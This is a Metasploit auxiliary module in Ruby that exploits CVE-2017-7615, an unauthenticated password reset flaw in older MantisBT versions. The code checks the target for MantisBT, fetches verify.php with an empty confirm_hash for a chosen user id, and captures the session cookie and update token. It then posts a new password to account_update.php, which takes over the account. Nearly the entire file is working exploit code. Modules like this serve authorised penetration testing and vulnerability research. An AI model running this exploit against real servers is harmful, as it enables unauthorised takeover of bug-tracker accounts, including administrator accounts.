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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'MantisBT password reset',
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        'Description' => %q{
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          MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'John (hyp3rlinx) Page', # initial discovery
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          'Julien (jvoisin) Voisin' # metasploit module
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        ],
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        'References' => [
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          ['CVE', '2017-7615'],
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          ['EDB', '41890'],
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          ['URL', 'https://mantisbt.org/bugs/view.php?id=22690'],
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          ['URL', 'http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt']
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        ],
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        'Platform' => ['win', 'linux'],
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        'DisclosureDate' => '2017-04-16'
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      )
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    )
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    register_options(
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      [
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        OptString.new('USERID', [ true, 'User id to reset', 1]),
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        OptString.new('PASSWORD', [ false, 'The new password to set (blank for random)', '']),
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        OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/'])
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      ]
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    )
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  end
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  def check
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    res = send_request_cgi({
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      'uri' => normalize_uri(target_uri.path, '/login_page.php'),
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      'method' => 'GET'
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    })
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    if res && res.body && res.body.include?('Powered by <a href="http://www.mantisbt.org" title="bug tracking software">MantisBT')
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      vprint_status('MantisBT detected')
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      return Exploit::CheckCode::Detected
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    else
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      vprint_status('Not a MantisBT Instance!')
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      return Exploit::CheckCode::Safe
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    end
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  rescue Rex::ConnectionRefused
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    print_error('Connection refused by server.')
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    return Exploit::CheckCode::Safe
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  end
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  def run
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    res = send_request_cgi({
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      'uri' => normalize_uri(target_uri.path, '/verify.php'),
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      'method' => 'GET',
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      'vars_get' => {
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        'id' => datastore['USERID'],
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        'confirm_hash' => ''
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      }
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    })
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    if !res || !res.body
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      fail_with(Failure::UnexpectedReply, 'Error in server response. Ensure the server IP is correct.')
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    end
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    cookie = res.get_cookies
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    if cookie == '' || !(res.body.include? 'Your account information has been verified.')
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      fail_with(Failure::NoAccess, 'Authentication failed')
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    end
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    if datastore['PASSWORD'].blank?
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      password = Rex::Text.rand_text_alpha(8)
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    else
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      password = datastore['PASSWORD']
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    end
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    if res.body =~ /<input type="hidden" name="account_update_token" value="([a-zA-Z0-9_-]+)"/
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      token = ::Regexp.last_match(1)
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    else
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      fail_with(Failure::UnexpectedReply, 'Could not retrieve account_update_token')
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    end
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    res = send_request_cgi({
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      'uri' => normalize_uri(target_uri.path, '/account_update.php'),
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      'method' => 'POST',
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      'vars_post' => {
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        'verify_user_id' => datastore['USERID'],
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        'account_update_token' => ::Regexp.last_match(1),
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        'realname' => Rex::Text.rand_text_alpha(rand(8..12)),
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        'password' => password,
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        'password_confirm' => password
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      },
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      'cookie' => cookie
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    })
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    if res && res.body && res.body.include?('Password successfully updated')
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      print_good("Password successfully changed to '#{password}'.")
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    else
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      fail_with(Failure::UnexpectedReply, 'Something went wrong, the password was not changed.')
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    end
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  end
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end
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